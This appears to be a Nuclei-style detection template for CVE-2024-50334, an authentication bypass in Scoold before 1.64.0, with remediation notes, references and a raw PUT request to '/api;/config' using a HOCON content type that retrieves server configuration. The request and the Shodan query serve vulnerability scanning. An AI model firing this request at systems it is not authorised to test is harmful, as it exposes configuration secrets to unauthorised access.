id: CVE-2024-50334

info:
  name: Scoold < 1.64.0 - Authentication Bypass
  author: xbow,iamnoooob,pdresearch
  severity: medium
  description: |
    Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.
  impact: |
    Attackers can bypass authentication and read sensitive configuration data from the Scoold API.
  remediation: |
    Update Scoold to version 1.64.0 or later, or disable the Scoold API with scoold.api_enabled = false.
  reference:
    - https://xbow.com/blog/xbow-scoold-vuln/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50334
    - https://github.com/Erudika/scoold/releases/tag/1.64.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-50334
    cwe-id: CWE-288
    epss-score: 0.01008
    epss-percentile: 0.58496
    cpe: cpe:2.3:a:erudika:scoold:*:*:*:*:*:*:*:*
  metadata:
    vendor: erudika
    product: scoold
    shodan-query: html:"scoold-wrapper"
    verified: true
    max-request: 1
  tags: cve,cve2024,scoold,info-leak,erudika,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        PUT /api;/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/hocon

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "scoold.app_name")'
          - 'contains(content_type,"application/json")'
          - 'status_code==200'
        condition: and
# digest: 490a00463044022037d75712bf5eb8604bb16b1ca768b54b713d7433f76f225d7fb3a2e7eae9dd6202206d05dd601770b0f0393038dfd575b97ae5038172be308d1770fe8bc0de4cf07b:922c64590222798bb761d5b6d8e72950